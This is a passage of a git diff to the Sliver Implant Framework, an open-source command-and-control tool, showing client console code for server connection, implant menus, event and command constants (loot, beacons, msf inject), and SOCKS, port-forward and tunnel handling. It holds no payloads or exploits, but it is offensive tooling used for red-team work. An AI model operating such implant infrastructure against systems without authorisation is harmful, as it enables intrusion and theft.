sure you want to exit?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + } + + os.Exit(0) +} + +// WaitSignal listens for os.Signals and returns when receiving one of the following: +// SIGINT, SIGTERM, SIGQUIT. +// +// This can be used for commands which should block if executed in an exec-once CLI run: +// if the command is ran in the closed-loop console, this function will not monitor signals +// and return immediately. +func (con *SliverClient) WaitSignal() error { + if !con.isCLI { + return nil + } + + con.PrintInfof("(Use Ctrl-C/SIGINT to exit, Ctrl-Z to background)") + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + sig := <-sigchan + con.PrintInfof("Received signal %s\n", sig) + + return nil +} + +func (con *SliverClient) waitSignalOrClose() error { + if !con.isCLI { + return nil + } + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + if con.waitingResult == nil { + con.waitingResult = make(chan bool) + } + + select { + case sig := <-sigchan: + con.PrintInfof("Received signal %s\n", sig) + case <-con.waitingResult: + con.waitingResult = make(chan bool) + return nil + } + + return nil +} + +// printLogo prints the Sliver console logo. +func (con *SliverClient) printLogo() { + serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) + if err != nil { + log.Fatal(err) + } + dirty := "" + if serverVer.Dirty { + dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal) + } + serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) + + logo := asciiLogos[insecureRand.Intn(len(asciiLogos))] + fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n")) + fmt.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))] + "\r") + fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty) + if version.GitCommit != serverVer.Commit { + fmt.Printf(Info+"Client %s\r\n", version.FullVersion()) + } + fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r") + if serverVer.Major != int32(version.SemanticVersion()[0]) { + fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n") + } + con.CheckLastUpdate() +} + +// exitConsole prompts the user for confirmation to exit the console. +func (c *SliverClient) exitConsole(_ *console.Console) { + c.ExitConfirm() +} + +// exitImplantMenu uses the background command to detach from the implant menu. +func (c *SliverClient) exitImplantMenu(_ *console.Console) { + c.ActiveTarget.Background() + c.PrintInfof("Background ...\n") +} + +var abilities = []string{ + "first strike", + "vigilance", + "haste", + "indestructible", + "hexproof", + "deathtouch", + "fear", + "epic", + "ninjitsu", + "recover", + "persist", + "conspire", + "reinforce", + "exalted", + "annihilator", + "infect", + "undying", + "living weapon", + "miracle", + "scavenge", + "cipher", + "evolve", + "dethrone", + "hidden agenda", + "prowess", + "dash", + "exploit", + "renown", + "skulk", + "improvise", + "assist", + "jump-start", +} + +var asciiLogos = []string{ + Red + ` + ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███ + ▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒ + ░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒ + ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄ + ▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒ + ▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░ + ░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░ + ░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ +` + Normal, + + Green + ` + ███████╗██╗ ██╗██╗ ██╗███████╗██████╗ + ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗ + ███████╗██║ ██║██║ ██║█████╗ ██████╔╝ + ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗ + ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║ + ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ +` + Normal, + + Bold + Gray + ` +.------..------..------..------..------..------. +|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. | +| :/\: || :/\: || (\/) || :(): || (\/) || :(): | +| :\/: || (__) || :\/: || ()() || :\/: || ()() | +| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R| +` + "`------'`------'`------'`------'`------'`------'" + ` +` + Normal, +} diff --git a/client/console/teamclient.go b/client/console/teamclient.go new file mode 100644 index 0000000000..d8eef5f1a5 --- /dev/null +++ b/client/console/teamclient.go @@ -0,0 +1,265 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "runtime" + "time" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "google.golang.org/grpc" + "google.golang.org/grpc/status" + + "github.com/reeflective/team" + "github.com/reeflective/team/client" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/version" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" +) + +// PreRunConnect is a spf13/cobra-compliant runner function to be included +// in/as any of the runners that such cobra.Commands offer to use. +// +// The function will connect the Sliver teamclient to a remote server, +// register its client RPC interfaces, and start handling events/log streams. +// +// Note that this function will always check if it used as part of a completion +// command execution call, in which case asciicast/logs streaming is disabled. +func (con *SliverClient) PreRunConnect(cmd *cobra.Command, args []string) error { + con.FilterCommands(cmd) + + // If commands are imcompatible with the current requirements. + err := con.App.ActiveMenu().CheckIsAvailable(cmd) + if err != nil { + return err + } + + // Some commands don't need a remote teamserver connection. + if con.isOffline(cmd) { + return nil + } + + // Run any additional pre-run hooks, generally those registered + // by the sliver-server binary to ensure assets are setup, etc. + if err := con.runPreConnectHooks(cmd, args); err != nil { + return err + } + + // Check if the user told us to connect to a specific server + // instead of prompting him with all the configs we found. + clientOpts, err := con.loadConfig(cmd) + if err != nil { + return err + } + + // Let our teamclient connect the transport/RPC stack. + // Note that this uses a sync.Once to ensure we don't + // connect more than once. + if err := con.Teamclient.Connect(clientOpts...); err != nil { + return err + } + + // Register our Sliver client services, and monitor events. + // Also set ourselves up to save our client commands in history. + con.connect(con.dialer.Conn) + + // Never enable asciicasts/logs streaming when this + // client is used to perform completions. Both of these will tinker + // with very low-level IO and very often don't work nice together. + if compCommandCalled(cmd) { + return nil + } + + // Else, initialize our logging/asciicasts streams. + return con.startClientLog() +} + +// loadConfig uses the --config flag (if existing), to override the server remote +// configuration to use, therefore skipping user prompts when there are more than one. +func (con *SliverClient) loadConfig(cmd *cobra.Command) ([]client.Options, error) { + // No overriding + if !cmd.Flags().Changed("config") { + return nil, nil + } + + configPath, err := cmd.Flags().GetString("config") + if err != nil { + return nil, err + } + + // Let the teamclient attempt to read the config. + config, err := con.Teamclient.ReadConfig(configPath) + if err != nil { + return nil, err + } + + // Should not happen, but just in case. + if config == nil { + return nil, errors.New("The teamclient returned no config, but no error") + } + + return append([]client.Options{}, client.WithConfig(config)), nil +} + +// PreRunComplete is a special connection mode which should be +// called in completer functions that need to use the client RPC. +// It is almost equivalent to client.ConnectRun(), but for completions. +// +// If the connection failed, an error is returned along with a completion +// action include the error as a status message, to be returned by completers. +// +// This function is safe to call regardless of the client being used +// as a closed-loop console mode or in an exec-once CLI mode. +func (con *SliverClient) PreRunComplete() (carapace.Action, error) { + if con.Rpc != nil { + return carapace.ActionValues(), nil + } + + // This almost only ever runs teamserver-side pre-runs. + // We don't need to pass a command to this call, since + // it does call hooks that should handle nil commands. + err := con.runPreConnectHooks(nil, nil) + if err != nil { + return carapace.ActionMessage("connection error: %s", err), err + } + + err = con.Teamclient.Connect() + if err != nil { + return carapace.ActionMessage("connection error: %s", err), err + } + + // Register our Sliver client services, and monitor events. + // Also set ourselves up to save our client commands in history. + con.connect(con.dialer.Conn) + + return carapace.ActionValues(), nil +} + +// PostRunDisconnect disconnects the client from its Sliver server, +// closing all its event/log streams and files, then closing the core +// Sliver RPC client connection. This should be ran as a post-runner. +// After this call, the client can reconnect should it want to. +func (con *SliverClient) PostRunDisconnect(cmd *cobra.Command, args []string) error { + con.closeClientStreams() + + // Close the RPC client connection. + return con.Teamclient.Disconnect() +} + +// Users returns a list of all users registered with the app teamserver. +// If the gRPC teamclient is not connected or does not have an RPC client, +// an ErrNoRPC is returned. +func (con *SliverClient) Users() (users []team.User, err error) { + if con.Rpc == nil { + return nil, errors.New("No Sliver client RPC") + } + + res, err := con.Rpc.GetUsers(context.Background(), &commonpb.Empty{}) + if err != nil { + return nil, con.UnwrapServerErr(err) + } + + for _, user := range res.GetUsers() { + users = append(users, team.User{ + Name: user.Name, + Online: user.Online, + LastSeen: time.Unix(user.LastSeen, 0), + }) + } + + return +} + +// VersionClient implements team.Client.VersionClient() interface method, overriding +// the default teamclient version output to use our Makefile-prepared one. +func (con *SliverClient) VersionClient() (v team.Version, err error) { + dirty := version.GitDirty != "" + semVer := version.SemanticVersion() + compiled, _ := version.Compiled() + return team.Version{ + Major: int32(semVer[0]), + Minor: int32(semVer[1]), + Patch: int32(semVer[2]), + Commit: version.GitCommit, + Dirty: dirty, + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// VersionServer returns the version information of the server to which +// the client is connected, or nil and an error if it could not retrieve it. +func (con *SliverClient) VersionServer() (version team.Version, err error) { + if con.Rpc == nil { + return version, errors.New("No Sliver client RPC") + } + + ver, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) + if err != nil { + return version, errors.New(status.Convert(err).Message()) + } + + return team.Version{ + Major: ver.Major, + Minor: ver.Minor, + Patch: ver.Patch, + Commit: ver.Commit, + Dirty: ver.Dirty, + CompiledAt: ver.CompiledAt, + OS: ver.OS, + Arch: ver.Arch, + }, nil +} + +// connect requires a working gRPC connection to the sliver server. +// It starts monitoring events, implant tunnels and client logs streams. +func (con *SliverClient) connect(conn *grpc.ClientConn) { + con.Rpc = rpcpb.NewSliverRPCClient(conn) + + // Events + go con.startEventLoop() + go core.TunnelLoop(con.Rpc) + + // History sources + sliver := con.App.Menu(consts.ImplantMenu) + + histuser, err := con.newImplantHistory(true) + if err == nil { + sliver.AddHistorySource("implant history (user)", histuser) + } + + histAll, err := con.newImplantHistory(false) + if err == nil { + sliver.AddHistorySource("implant history (all users)", histAll) + } + + con.ActiveTarget.hist = histAll + + con.closeLogs = append(con.closeLogs, func() { + histuser.Close() + histAll.Close() + }) +} diff --git a/client/constants/constants.go b/client/constants/constants.go index 280cfbed5c..f66475698c 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -18,105 +18,108 @@ package constants along with this program. If not, see . */ -// Meta +// Meta. const ( - // KeepAliveStr - Keep alive constant + // KeepAliveStr - Keep alive constant. KeepAliveStr = "keepalive" ) const ( - // LastUpdateCheckFileName - Last update check file name + // LastUpdateCheckFileName - Last update check file name. LastUpdateCheckFileName = "last_update_check" ) -// Console +// Console. const ( ImplantMenu = "implant" ServerMenu = "" ) -// Events +// Events. const ( - // UpdateStr - "update" + // UpdateStr - "update". UpdateStr = "update" - // VersionStr - "version" + // VersionStr - "version". VersionStr = "version" - // EventStr - "event" + // EventStr - "event". EventStr = "event" - // ServersStr - "server-error" + // ServersStr - "server-error". ServerErrorStr = "server-error" - // ConnectedEvent - Sliver Connected + // ConnectedEvent - Sliver Connected. SessionOpenedEvent = "session-connected" - // DisconnectedEvent - Sliver disconnected + // DisconnectedEvent - Sliver disconnected. SessionClosedEvent = "session-disconnected" - // UpdateEvent - Sliver updated + // UpdateEvent - Sliver updated. SessionUpdateEvent = "session-updated" - // JoinedEvent - Player joined the game + // JoinedEvent - Player joined the game. JoinedEvent = "client-joined" - // LeftEvent - Player left the game + // LeftEvent - Player left the game. LeftEvent = "client-left" - // CanaryEvent - A DNS canary was triggered + // CanaryEvent - A DNS canary was triggered. CanaryEvent = "canary" - // WatchtowerEvent - An implant hash has been identified on a threat intel platform + // WatchtowerEvent - An implant hash has been identified on a threat intel platform. WatchtowerEvent = "watchtower" - // StartedEvent - Job was started + // StartedEvent - Job was started. JobStartedEvent = "job-started" - // StoppedEvent - Job was stopped + // StoppedEvent - Job was stopped. JobStoppedEvent = "job-stopped" - // BuildEvent - Fires on change to builds + // BuildEvent - Fires on change to builds. BuildEvent = "build" - // BuildCompletedEvent - Fires when a build completes + // BuildCompletedEvent - Fires when a build completes. BuildCompletedEvent = "build-completed" - // ProfileEvent - Fires whenever there's a change to profiles + // ProfileEvent - Fires whenever there's a change to profiles. ProfileEvent = "profile" - // WebsiteEvent - Fires whenever there's a change to websites + // WebsiteEvent - Fires whenever there's a change to websites. WebsiteEvent = "website" - // LootAdded + // LootAdded. LootAddedEvent = "loot-added" - // LootRemoved + // LootRemoved. LootRemovedEvent = "loot-removed" - // BeaconRegisteredEvent - First connection from a new beacon + // BeaconRegisteredEvent - First connection from a new beacon. BeaconRegisteredEvent = "beacon-registered" - // BeaconTaskResult - Beacon task completed with a result + // BeaconTaskResult - Beacon task completed with a result. BeaconTaskResultEvent = "beacon-taskresult" - // ExternalBuildEvent + // BeaconTaskCanceledEvent - Indicates that a beacon task has been canceled. + BeaconTaskCanceledEvent = "beacon-task-canceled" + + // ExternalBuildEvent. ExternalBuildEvent = "external-build" AcknowledgeBuildEvent = "external-acknowledge" ExternalBuildFailedEvent = "external-build-failed" ExternalBuildCompletedEvent = "external-build-completed" - // TrafficEncoder Events + // TrafficEncoder Events. TrafficEncoderTestProgressEvent = "traffic-encoder-test-progress" - // Crackstation Events + // Crackstation Events. CrackstationConnected = "crackstation-connected" CrackstationDisconnected = "crackstation-disconnected" - // Crack Events - Events consumed by crackstations + // Crack Events - Events consumed by crackstations. CrackBenchmark = "crack-benchmark" CrackStatusEvent = "crack-status" - // WireGuardNewPeer - New Wireguard peer added + // WireGuardNewPeer - New Wireguard peer added. WireGuardNewPeer = "wireguard-newpeer" ) -// Commands +// Commands. const ( OperatorsStr = "operators" NewOperatorStr = "new-operator" @@ -132,6 +135,7 @@ const ( PruneStr = "prune" TasksStr = "tasks" CancelStr = "cancel" + WaitStr = "wait" GenerateStr = "generate" RegenerateStr = "regenerate" CompilerInfoStr = "info" @@ -142,11 +146,16 @@ const ( WatchStr = "watch" SettingsStr = "settings" SearchStr = "search" - TrafficEncodersStr = "traffic-encoders" + TrafficEncodersStr = "encoders" + + // C2 actions + ListenStr = "listen" + DialStr = "dial" + ServeStr = "serve" - // Generic + // Generic. - // NewStr - "new" + // NewStr - "new". NewStr = "new" AddStr = "add" StartStr = "start" @@ -172,6 +181,7 @@ const ( ImplantBuildsStr = "implants" CanariesStr = "canaries" + TranportsStr = "transports" JobsStr = "jobs" MtlsStr = "mtls" WGStr = "wg" @@ -182,7 +192,7 @@ const ( TCPListenerStr = "tcp" MsfStr = "msf" - MsfInjectStr = "msf-inject" + MsfInjectStr = "inject" PsStr = "ps" PingStr = "ping" @@ -233,10 +243,9 @@ const ( AliasesStr = "aliases" StageListenerStr = "stage-listener" - WebsitesStr = "websites" - RmWebContentStr = "rm-content" - AddWebContentStr = "add-content" - WebContentTypeStr = "content-type" + WebsitesStr = "websites" + ContentStr = "content" + TypeStr = "type" ScreenshotStr = "screenshot" PsExecStr = "psexec" @@ -251,7 +260,7 @@ const ( RegistryCreateKeyStr = "create" RegistryDeleteKeyStr = "delete" PivotsStr = "pivots" - WgConfigStr = "wg-config" + WgConfigStr = "config" WgSocksStr = "wg-socks" WgPortFwdStr = "wg-portfwd" MonitorStr = "monitor" @@ -294,16 +303,19 @@ const ( Hcstat2Str = "hcstat2" ) -// Groups +// Groups. const ( - // Server commands ===================== + // "Server-binary-only" group. + TeamserverHelpGroup = "Teamserver" + + // Server commands =====================. GenericHelpGroup = "Generic" NetworkHelpGroup = "Network" PayloadsHelpGroup = "Payload" DataHelpGroup = "Data" SliverHelpGroup = "Sliver" - // Sliver commands ===================== + // Sliver commands =====================. SliverCoreHelpGroup = "Core" InfoHelpGroup = "Info" FilesystemHelpGroup = "Filesystem" @@ -314,16 +326,24 @@ const ( AliasHelpGroup = "Sliver - 3rd Party macros" ExtensionHelpGroup = "Sliver - 3rd Party extensions" - // Useless - SliverWinHelpGroup = "Sliver - Windows" - MultiplayerHelpGroup = "Multiplayer" + // Useless. + SliverWinHelpGroup = "Sliver - Windows" ) // Command types / filters (per OS/type/C2/etc) -// Should not be changed: extension.json artifact file (architecture/OS) rely on some of the values below, +// Should not be changed: extension.json artifact file (architecture/OS) rely on some of the values below,. +const ( + ActiveTargetFilter = "Implants" // Need an active target, irrespective of its specs + SessionCmdsFilter = "Sessions" + BeaconCmdsFilter = "Beacons" + WindowsCmdsFilter = "Windows" + WireguardCmdsFilter = "Wireguard" + ConsoleCmdsFilter = "Console" +) + +// Creds (needed here to avoid recursive imports). const ( - SessionCmdsFilter = "session" - BeaconCmdsFilter = "beacon" - WindowsCmdsFilter = "windows" - WireguardCmdsFilter = "wireguard" + UserColonHashNewlineFormat = "user:hash" // username:hash\n + HashNewlineFormat = "hash" // hash\n + CSVFormat = "csv" // username,hash\n ) diff --git a/client/core/curses.go b/client/core/curses.go index 9df00d1a8c..7cc2659112 100644 --- a/client/core/curses.go +++ b/client/core/curses.go @@ -24,10 +24,8 @@ import ( "sync" ) -var ( - // SessionID -> CursedProcess - CursedProcesses = &sync.Map{} -) +// SessionID -> CursedProcess. +var CursedProcesses = &sync.Map{} type CursedProcess struct { SessionID string diff --git a/client/core/portfwd.go b/client/core/portfwd.go index 92e2141ce6..3b229b4ebb 100644 --- a/client/core/portfwd.go +++ b/client/core/portfwd.go @@ -36,7 +36,7 @@ import ( ) var ( - // Portfwds - Struct instance that holds all the portfwds + // Portfwds - Struct instance that holds all the portfwds. Portfwds = portfwds{ forwards: map[int]*Portfwd{}, mutex: &sync.RWMutex{}, @@ -45,7 +45,7 @@ var ( portfwdID = 0 ) -// PortfwdMeta - Metadata about a portfwd listener +// PortfwdMeta - Metadata about a portfwd listener. type PortfwdMeta struct { ID int SessionID string @@ -53,14 +53,14 @@ type PortfwdMeta struct { RemoteAddr string } -// Portfwd - Tracks portfwd<->tcpproxy +// Portfwd - Tracks portfwd<->tcpproxy. type Portfwd struct { ID int TCPProxy *tcpproxy.Proxy ChannelProxy *ChannelProxy } -// GetMetadata - Get metadata about the portfwd +// GetMetadata - Get metadata about the portfwd. func (p *Portfwd) GetMetadata() *PortfwdMeta { return &PortfwdMeta{ ID: p.ID, @@ -75,7 +75,7 @@ type portfwds struct { mutex *sync.RWMutex } -// Add - Add a TCP proxy instance +// Add - Add a TCP proxy instance. func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd { f.mutex.Lock() defer f.mutex.Unlock() @@ -88,7 +88,7 @@ func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Po return portfwd } -// Remove - Remove a TCP proxy instance +// Remove - Remove a TCP proxy instance. func (f *portfwds) Remove(portfwdID int) bool { f.mutex.Lock() defer f.mutex.Unlock() @@ -100,7 +100,7 @@ func (f *portfwds) Remove(portfwdID int) bool { return false } -// List - List all TCP proxy instances +// List - List all TCP proxy instances. func (f *portfwds) List() []*PortfwdMeta { f.mutex.RLock() defer f.mutex.RUnlock() @@ -114,7 +114,7 @@ func (f *portfwds) List() []*PortfwdMeta { // ChannelProxy binds the Sliver Tunnel to a net.Conn object // one ChannelProxy per port bind. // -// Implements the Target interface from tcpproxy pkg +// Implements the Target interface from tcpproxy pkg. type ChannelProxy struct { Rpc rpcpb.SliverRPCClient Session *clientpb.Session @@ -125,7 +125,7 @@ type ChannelProxy struct { DialTimeout time.Duration } -// HandleConn - Handle a TCP connection +// HandleConn - Handle a TCP connection. func (p *ChannelProxy) HandleConn(conn net.Conn) { log.Printf("[tcpproxy] Handling new connection") ctx := context.Background() @@ -158,7 +158,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) { } } -// HostPort - Returns the host and port of the TCP proxy +// HostPort - Returns the host and port of the TCP proxy. func (p *ChannelProxy) HostPort() (string, uint32) { defaultPort := uint32(8080) host, rawPort, err := net.SplitHostPort(p.RemoteAddr) @@ -179,20 +179,19 @@ func (p *ChannelProxy) HostPort() (string, uint32) { return host, port } -// Port - Returns the TCP port of the proxy +// Port - Returns the TCP port of the proxy. func (p *ChannelProxy) Port() uint32 { _, port := p.HostPort() return port } -// Host - Returns the host (i.e., interface) of the TCP proxy +// Host - Returns the host (i.e., interface) of the TCP proxy. func (p *ChannelProxy) Host() string { host, _ := p.HostPort() return host } func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) { - log.Printf("[tcpproxy] Dialing implant to create tunnel ...") // Create an RPC tunnel, then start it before binding the shell to the newly created tunnel diff --git a/client/core/reactions.go b/client/core/reactions.go index fb3eb7ef49..53075a349b 100644 --- a/client/core/reactions.go +++ b/client/core/reactions.go @@ -25,13 +25,13 @@ import ( ) var ( - // Reactions - Manages/tracks reactions + // Reactions - Manages/tracks reactions. Reactions = &reactions{ reactionMap: map[string][]Reaction{}, mutex: &sync.RWMutex{}, } - // ReactableEvents - A list of reactionable events + // ReactableEvents - A list of reactionable events. ReactableEvents = []string{ consts.SessionOpenedEvent, consts.SessionUpdateEvent, @@ -58,7 +58,7 @@ type reactions struct { reactionID int } -// Add - Add a reaction +// Add - Add a reaction. func (r *reactions) Add(reaction Reaction) Reaction { r.mutex.Lock() defer r.mutex.Unlock() @@ -73,7 +73,7 @@ func (r *reactions) Add(reaction Reaction) Reaction { } // Remove - Remove a reaction, yes we're using linear search but this isn't exactly -// a performance critical piece of code and the map/slice is going to be very small +// a performance critical piece of code and the map/slice is going to be very small. func (r *reactions) Remove(reactionID int) bool { r.mutex.Lock() defer r.mutex.Unlock() @@ -88,7 +88,7 @@ func (r *reactions) Remove(reactionID int) bool { return false } -// On - Get all reactions of a specific type +// On - Get all reactions of a specific type. func (r *reactions) On(eventType string) []Reaction { r.mutex.RLock() defer r.mutex.RUnlock() @@ -100,7 +100,7 @@ func (r *reactions) On(eventType string) []Reaction { return []Reaction{} } -// All - Get all reactions (returns a flat list with all event types) +// All - Get all reactions (returns a flat list with all event types). func (r *reactions) All() []Reaction { r.mutex.RLock() defer r.mutex.RUnlock() @@ -111,7 +111,7 @@ func (r *reactions) All() []Reaction { return reactions } -// Reaction - Metadata about a portfwd listener +// Reaction - Metadata about a portfwd listener. type Reaction struct { ID int `json:"-"` EventType string `json:"event_type"` diff --git a/client/core/socks.go b/client/core/socks.go index fe95337664..78e1f42f43 100644 --- a/client/core/socks.go +++ b/client/core/socks.go @@ -34,7 +34,7 @@ import ( ) var ( - // SocksProxies - Struct instance that holds all the portfwds + // SocksProxies - Struct instance that holds all the portfwds. SocksProxies = socksProxy{ tcpProxies: map[uint64]*SocksProxy{}, mutex: &sync.RWMutex{}, @@ -43,7 +43,7 @@ var ( SocksProxyID = (uint64)(0) ) -// PortfwdMeta - Metadata about a portfwd listener +// PortfwdMeta - Metadata about a portfwd listener. type SocksProxyMeta struct { ID uint64 SessionID string @@ -78,13 +78,13 @@ func (tcp *TcpProxy) Stop() error { return err } -// SocksProxy - Tracks portfwd<->tcpproxy +// SocksProxy - Tracks portfwd<->tcpproxy. type SocksProxy struct { ID uint64 ChannelProxy *TcpProxy } -// GetMetadata - Get metadata about the portfwd +// GetMetadata - Get metadata about the portfwd. func (p *SocksProxy) GetMetadata() *SocksProxyMeta { return &SocksProxyMeta{ ID: p.ID, @@ -100,7 +100,7 @@ type socksProxy struct { mutex *sync.RWMutex } -// Add - Add a TCP proxy instance +// Add - Add a TCP proxy instance. func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy { f.mutex.Lock() defer f.mutex.Unlock() @@ -140,7 +140,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error { continue } log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data)) - //fmt.Printf("recv data len %d \n", len(p.Data)) + _, err := conn.Write(socksData.Data) if err != nil { log.Printf("Failed to write data to proxy connection, %s\n", err) @@ -177,7 +177,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error { return nil } -// Remove - Remove a TCP proxy instance +// Remove - Remove a TCP proxy instance. func (f *socksProxy) Remove(socksId uint64) bool { f.mutex.Lock() defer f.mutex.Unlock() @@ -190,7 +190,7 @@ func (f *socksProxy) Remove(socksId uint64) bool { return false } -// List - List all TCP proxy instances +// List - List all TCP proxy instances. func (f *socksProxy) List() []*SocksProxyMeta { f.mutex.RLock() defer f.mutex.RUnlock() @@ -210,11 +210,10 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096) var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize) func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) { - SocksConnPool.Store(frame.TunnelID, conn) defer func() { - // It's neccessary to close and remove connection once we done with it + // It's necessary to close and remove connection once we done with it c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID) if !ok { return @@ -233,7 +232,6 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv var ToImplantSequence uint64 = 0 for { n, err := conn.Read(buff) - if err != nil { log.Printf("[socks] (User to Client) failed to read data, %s ", err) // Error basically means that the connection is closed(EOF) OR deadline exceeded diff --git a/client/core/tunnel.go b/client/core/tunnel.go index 821d283348..f19bf53245 100644 --- a/client/core/tunnel.go +++ b/client/core/tunnel.go @@ -27,9 +27,11 @@ import ( ) // TunnelLoop - Parses incoming tunnel messages and distributes them -// to session/tunnel objects -// Expected to be called only once during initialization +// +// to session/tunnel objects +// Expected to be called only once during initialization func TunnelLoop(rpc rpcpb.SliverRPCClient) error { + log.SetOutput(io.Discard) log.Println("Starting tunnel data loop ...") defer log.Printf("Warning: TunnelLoop exited") diff --git a/client/core/tunnel_io.go b/client/core/tunnel_io.go index 4970312c06..34eda79c66 100644 --- a/client/core/tunnel_io.go +++ b/client/core/tunnel_io.go @@ -26,7 +26,7 @@ import ( "sync" ) -// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter +// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter. type TunnelIO struct { ID uint64 SessionID string @@ -38,7 +38,7 @@ type TunnelIO struct { mutex *sync.RWMutex } -// NewTunnelIO - Single entry point for creating instance of new TunnelIO +// NewTunnelIO - Single entry point for creating instance of new TunnelIO. func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO { log.Printf("New tunnel!: %d", tunnelID) @@ -52,7 +52,7 @@ func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO { } } -// Write - Writer method for interface +// Write - Writer method for interface. func (tun *TunnelIO) Write(data []byte) (int, error) { if !tun.IsOpen() { log.Printf("Warning: Write on closed tunnel %d", tun.ID) @@ -71,7 +71,7 @@ func (tun *TunnelIO) Write(data []byte) (int, error) { return n, nil } -// Read - Reader method for interface +// Read - Reader method for interface. func (tun *TunnelIO) Read(data []byte) (int, error) { recvData, ok := <-tun.Recv if !ok { @@ -87,7 +87,7 @@ func (tun *TunnelIO) Read(data []byte) (int, error) { return n, nil } -// Close - Close tunnel IO operations +// Close - Close tunnel IO operations. func (tun *TunnelIO) Close() error { tun.mutex.Lock() defer tun.mutex.Unlock() diff --git a/client/core/tunnels.go b/client/core/tunnels.go index 571ac5911a..b6efec49bb 100644 --- a/client/core/tunnels.go +++ b/client/core/tunnels.go @@ -28,13 +28,13 @@ import ( ) var ( - // tunnelsStorage - Holds refs to all tunnels + // tunnelsStorage - Holds refs to all tunnels. tunnelsStorage *tunnels tunnelsSingletonLock = &sync.Mutex{} ) -// GetTunnels - singleton function that returns or initializes all tunnels +// GetTunnels - singleton function that returns or initializes all tunnels. func GetTunnels() *tunnels { tunnelsSingletonLock.Lock() defer tunnelsSingletonLock.Unlock() @@ -53,7 +53,7 @@ func GetTunnels() *tunnels { } // Holds the tunnels locally so we can map incoming data -// messages to the tunnel +// messages to the tunnel. type tunnels struct { tunnels *map[uint64]*TunnelIO mutex *sync.RWMutex @@ -70,7 +70,7 @@ func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) { t.stream = stream } -// Get - Get a tunnel +// Get - Get a tunnel. func (t *tunnels) Get(tunnelID uint64) *TunnelIO { t.mutex.RLock() defer t.mutex.RUnlock() @@ -81,7 +81,7 @@ func (t *tunnels) Get(tunnelID uint64) *TunnelIO { } // send - safe way to send a message to the stream -// protobuf stream allow only one writer at a time, so just in case there is a mutex for it +// protobuf stream allow only one writer at a time, so just in case there is a mutex for it. func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error { t.streamMutex.Lock() defer t.streamMutex.Unlock() @@ -95,7 +95,7 @@ func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error { return t.stream.Send(tunnelData) } -// Start - Add a tunnel to the core mapper +// Start - Add a tunnel to the core mapper. func (t 